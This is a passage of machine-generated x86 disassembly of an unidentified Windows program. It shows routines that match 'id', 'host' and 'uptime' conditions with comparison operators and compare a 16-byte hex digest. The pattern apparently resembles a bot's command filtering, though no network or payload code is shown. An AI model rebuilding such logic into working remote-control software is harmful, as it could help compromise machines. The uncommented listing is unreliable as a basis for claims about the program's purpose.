pop esi mov al, 1 pop ebp retn 4 sub_412870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412900 proc near ; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_4470F0 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_4470F8 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CDC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C8E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D30 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D2C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D28 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D24 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44758A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60CD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472A7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j nop call near ptr 2960743h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Ch push 9 push 1 lea edx, [esp+2Ch] push 8 push edx call sub_4019B5 add esp, 18h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F60 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C84 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call 